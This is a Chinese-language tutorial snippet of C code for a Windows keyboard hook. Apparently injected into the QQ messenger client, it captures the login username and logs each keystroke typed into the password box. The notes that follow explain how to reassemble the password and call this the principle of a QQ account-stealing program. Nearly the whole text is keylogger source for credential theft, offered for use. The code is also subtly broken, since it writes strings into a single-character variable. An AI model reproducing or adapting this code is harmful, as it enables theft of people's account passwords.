//键盘钩子回调函数
LRESULT CALLBACK KeyBoardProc(int ncode,
WPARAM wParam,
LPARAM lParam
)
{
//创建一个缓冲区保存连起来的密码
static char buf[250] = {0};
//用于保存用户名框的内容
char cUserName[10];
ZeroMemory(cUserName, 10);
//用于保存用户在密码框上的每一个按键
char cUserPwd[30];
//如果按的键是回车键
if (wParam == VK_RETURN && lParam > 0)
{
//得到用户名的值保存在cUserName中,密码框的值不能通过这种方法获得
SendMessage(hQQLoginUserName, WM_GETTEXT, 10, (LPARAM)cUserName);
}
//如果不是按回车,并且是在密码框中输入
if (lParam > 0 && wParam != VK_RETURN &&
//当前输入框为密码框
hQQLoginUserPwd == GetFocus())
{
//记下密码框中输入的字符
GetKeyNameText(lParam, cUserPwd, 30);
//以下代码把每一次按的键连起来形成一个完整的密码
static int index = 0;
if(index == 0)
{
if(strcmp(cUserPwd,"Num 1") == 0)
{
strcpy(buf,"1");
}
else if(strcmp(cUserPwd,"Num 2") == 0)
{
strcpy(buf,"2");
}
else if(strcmp(cUserPwd,"Num 3") == 0)
{
strcpy(buf,"3");
}
else if(strcmp(cUserPwd,"Num 4") == 0)
{
strcpy(buf,"4");
}
else if(strcmp(cUserPwd,"Num 5") == 0)
{
strcpy(buf,"5");
}
else if(strcmp(cUserPwd,"Num 6") == 0)
{
strcpy(buf,"6");
}
else if(strcmp(cUserPwd,"Num 7") == 0)
{
strcpy(buf,"7");
}
else if(strcmp(cUserPwd,"Num 8") == 0)
{
strcpy(buf,"8");
}
else if(strcmp(cUserPwd,"Num 9") == 0)
{
strcpy(buf,"9");
}
else if(strcmp(cUserPwd,"Num 0") == 0)
{
strcpy(buf,"0");
}
else
{
strcpy(buf,cUserPwd);
}
}
else
{
if(strcmp(cUserPwd,"Num 1") == 0)
{
strcat(buf,"1");
}
else if(strcmp(cUserPwd,"Num 2") == 0)
{
strcat(buf,"2");
}
else if(strcmp(cUserPwd,"Num 3") == 0)
{
strcat(buf,"3");
}
else if(strcmp(cUserPwd,"Num 4") == 0)
{
strcat(buf,"4");
}
else if(strcmp(cUserPwd,"Num 5") == 0)
{
strcat(buf,"5");
}
else if(strcmp(cUserPwd,"Num 6") == 0)
{
strcat(buf,"6");
}
else if(strcmp(cUserPwd,"Num 7") == 0)
{
strcat(buf,"7");
}
else if(strcmp(cUserPwd,"Num 8") == 0)
{
strcat(buf,"8");
}
else if(strcmp(cUserPwd,"Num 9") == 0)
{
strcat(buf,"9");
}
else if(strcmp(cUserPwd,"Num 0") == 0)
{
strcat(buf,"0");
}
else
{
strcat(buf,cUserPwd);
}
}
++index;
}
//如果按的是回车,将上面得到的用户名和密码连在一起显示
if (wParam == VK_RETURN && lParam > 0)
{
char cAccount;
strcpy(&cAccount,"用户名:");
strcat(&cAccount,cUserName);
strcat(&cAccount,"\n密 码:");
strcat(&cAccount,buf);
strcat(&cAccount,"\nBy:∮明天去要饭");
//cAccount中保存了用户名和密码,想怎么处理就怎么处理
MessageBox(NULL,&cAccount,"QQ帐号:",MB_OK);
return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
}
return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
}
这里需要注意以下几个问题:
1. 回调函数相当于是QQ.exe的函数,所以在DLL中的变量值如果想在回调函数中用,需要把变量定义在共享数据段中,这样才能被回调函数执行。
2. 定义的变量index之所以要定义成static,是因为index要保持上一次运行的值,也就是说index只能被初始化一次。static char buf[250] = {0}这一句也是一个道理。当用户在QQ登陆窗口的密码框中输东西时,就会执行该回调函数,该回调函数每一次记下的值只是一个键盘按键,只有将按键连起来才是一个密码。
3. 由于按1得到的是Num 1,按2得到的是Num 2,所以要对得到的按键进行处理。
4. 从这个回调函数可以知道,如果用户在输密码的时候后退了,或是删除了密码再继续输入,那么记录下来的内容将是不准确的。另外,当用户输入的是小写字母的时候,显示出来的值会是大写字母,这也是一个BUG,不过盗QQ程序的原理就是这样了。